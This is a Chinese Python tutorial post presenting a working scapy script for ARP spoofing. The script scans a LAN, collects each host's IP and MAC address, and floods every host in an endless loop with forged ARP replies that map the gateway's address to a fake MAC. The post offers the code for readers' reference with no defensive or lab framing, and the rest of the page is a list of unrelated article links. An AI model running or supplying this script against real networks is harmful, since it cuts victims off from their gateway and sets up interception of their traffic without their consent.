python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python中使用urllib2防止302跳转的代码例子
Jul 07 Python
深入理解Python3 内置函数大全
Nov 23 Python
使用python和pygame绘制繁花曲线的方法
Feb 24 Python
Python从Excel中读取日期一列的方法
Nov 28 Python
Python3.4解释器用法简单示例
Mar 22 Python
python opencv捕获摄像头并显示内容的实现
Jul 11 Python
Python图像处理之图片文字识别功能(OCR)
Jul 30 Python
python lambda表达式(匿名函数)写法解析
Sep 16 Python
python 利用turtle模块画出没有角的方格
Nov 23 Python
使用ITK-SNAP进行抠图操作并保存mask的实例
Jul 01 Python
python 录制系统声音的示例
Dec 21 Python
利用python实时刷新基金估值(摸鱼小工具)
Sep 15 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
PHP从FLV文件获取视频预览图的方法
2015/03/12 PHP
PHP实现数据分页显示的简单实例
2016/05/26 PHP
thinkphp框架实现路由重定义简化url访问地址的方法分析
2020/04/04 PHP
Javascript的并行运算实现代码
2010/11/19 Javascript
鼠标经过显示二级菜单js特效
2013/08/13 Javascript
js整数字符串转换为金额类型数据(示例代码)
2013/12/26 Javascript
Jquery模仿Baidu、Google搜索时自动补充搜索结果提示
2013/12/26 Javascript
this,this,再次讨论javascript中的this,超全面(经典)
2016/01/05 Javascript
javascript随机抽取0-100之间不重复的10个数
2016/02/25 Javascript
AngularJS使用ocLazyLoad实现js延迟加载
2017/07/05 Javascript
深入浅出 Vue 系列 -- 数据劫持实现原理
2019/04/23 Javascript
微信公众号生成新浪短网址的实现(快速生成)
2019/08/18 Javascript
详解vue中多个有顺序要求的异步操作处理
2019/10/29 Javascript
微信小程序自定义tabbar custom-tab-bar 6s出不来解决方案(cover-view不兼容)
2019/11/01 Javascript
Vue根据条件添加click事件的方式
2019/11/09 Javascript
webpack+vue.js构建前端工程化的详细教程
2020/05/10 Javascript
[03:46]DOTA2英雄基础教程 维萨吉
2013/12/11 DOTA
[02:17]快乐加倍!DOTA2食人魔魔法师至宝+迎霜节活动上线
2019/12/22 DOTA
Python获取远程文件大小的函数代码分享
2014/05/13 Python
深入了解Python数据类型之列表
2016/06/24 Python
Python中单例模式总结
2018/02/20 Python
Linux下python与C++使用dlib实现人脸检测
2018/06/29 Python
PyCharm设置护眼背景色的方法
2018/10/29 Python
Python实现批量执行同目录下的py文件方法
2019/01/11 Python
python实发邮件实例详解
2019/11/11 Python
使用python求斐波那契数列中第n个数的值示例代码
2020/07/26 Python
纯CSS3大转盘抽奖示例代码(响应式、可配置)
2017/01/13 HTML / CSS
英国女性时尚精品店:THE DRESSING ROOM
2018/05/23 全球购物
平面设计师的工作职责
2013/11/21 职场文书
理工科学生的自我评价
2013/12/15 职场文书
房产授权委托书范本
2014/09/22 职场文书
2014市府办领导班子“四风问题”对照检查材料思想汇报
2014/09/24 职场文书
2014年合同管理工作总结
2014/12/02 职场文书
2015年大学元旦晚会活动策划书
2014/12/09 职场文书
工人先锋号事迹材料
2014/12/24 职场文书
nginx请求限制配置方法
2021/07/09 Servers